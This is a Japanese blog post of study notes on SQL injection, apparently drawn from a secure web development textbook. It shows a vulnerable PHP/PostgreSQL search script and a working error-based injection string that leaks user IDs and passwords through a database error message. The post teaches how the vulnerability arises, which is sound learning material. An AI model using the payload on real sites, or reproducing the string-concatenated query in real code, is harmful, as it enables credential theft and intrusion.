My Photo

« エラーメッセージからの情報漏洩 | Main | 2013夏アニメ感想 »

September 30, 2013

SQLインジェクション その1

発生箇所 SQL呼び出しをしている箇所
影響の種類
  • 情報漏洩:DB内のすべての情報が外部から盗まれる。
  • データ改ざん:DBの内容が書き換えられる。
  • 認証の回避:IDとパスワードを用いずにログインされる。
  • プログラムの実行:DBサーバ上のプログラムの実行
  • ファイルの参照・更新:DBサーバ上のファイルの読み出し・書き込み

エラーメッセージ経由の情報漏洩

以下はDB(PostgreSQL)内の蔵書を著者名を検索条件として検索するスクリプト(抜粋、一部省略)である。SQL脆弱性がある。

<?php
header('Content-Type: text/html; charset=UTF-8);
$author = $_GET['author'];
$con = pg_connect(<接続文字列>);
$sqlstm = "SELECT id, title, author, publisher date, price FROM books WHERE author ='{$author}' ORDER BY id";
$rs = pg_query($con, $sqlstm);
?>
// HTML省略
<?php
$maxrows = pg_num_rows($s);
for ($i = 0; $i < $maxrows; $i++) {
	$row = pg_fetch_row($rs, $i);
	// 画面への出力:省略
}
pg_close($con);
// 以下省略

このスクリプトを
「author='+AND+CAST((SELECT+id||':'||pwd+FROM+users+OFFSET+0+LIMIT+1)+AS+integer)>1--」
というクエリストリングを指定して実行する。
すると以下のようなユーザIDとパスワードを含むエラーメッセージが表示されてしまう。

Warning: pg_query() [function.pg-query]: Query failed: ERROR: 型integerの入力構文が無効です: "yamada:pass1" in /var/www/44/44-001.php on line 7

原因は、実行されるSQLが以下であることが原因である(見やすいように適宜改行を入れてある)。

SELECT id, title, author, publisher date, price
FROM books
WHERE author ='' AND CAST((SELECT id||':'||pwd
                           FROM users
                           OFFSET 0 LIMIT 1) AS integer)
                     >1
--' ORDER BY id
スクリプト側ではパラメータは著者名を想定しているが、この例では想定外の文字列が入力されている。
そしてその入力によって作られたSQL文の中で、WHERE句内の副問い合わせ
CAST((SELECT id||':'||pwd FROM users OFFSET 0 LIMIT 1) AS integer)>1

の部分が問題となる。
CAST()の中のSELECT文の結果はユーザIDとパスワードの文字列であり、それをCASTで整数に型変換しようとしてエラーになる。
そのためにユーザIDとパスワードを含んだエラーメッセージが表示される。

参考文献:体系的に学ぶWebアプリケーションの作り方 4.4.1 SQLインジェクション

体系的に学ぶ 安全なWebアプリケーションの作り方 脆弱性が生まれる原理と対策の実践体系的に学ぶ 安全なWebアプリケーションの作り方 脆弱性が生まれる原理と対策の実践
徳丸 浩

ソフトバンククリエイティブ 2011-03-03
売り上げランキング : 4070

Amazonで詳しく見る
by G-Tools

« エラーメッセージからの情報漏洩 | Main | 2013夏アニメ感想 »

PHP」カテゴリの記事

セキュリティ」カテゴリの記事

Comments

Post a comment

(Not displayed with comment.)

TrackBack

TrackBack URL for this entry:
http://app.cocolog-nifty.com/t/trackback/26461/58297160

Listed below are links to weblogs that reference SQLインジェクション その1:

« エラーメッセージからの情報漏洩 | Main | 2013夏アニメ感想 »

March 2017
Sun Mon Tue Wed Thu Fri Sat
      1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31  
無料ブログはココログ

日本blog村

  • にほんブログ村 IT技術ブログへ
  • にほんブログ村 アニメブログへ
  • にほんブログ村 サッカーブログ アルビレックス新潟へ

好きな音楽家

メモ

XI-Prof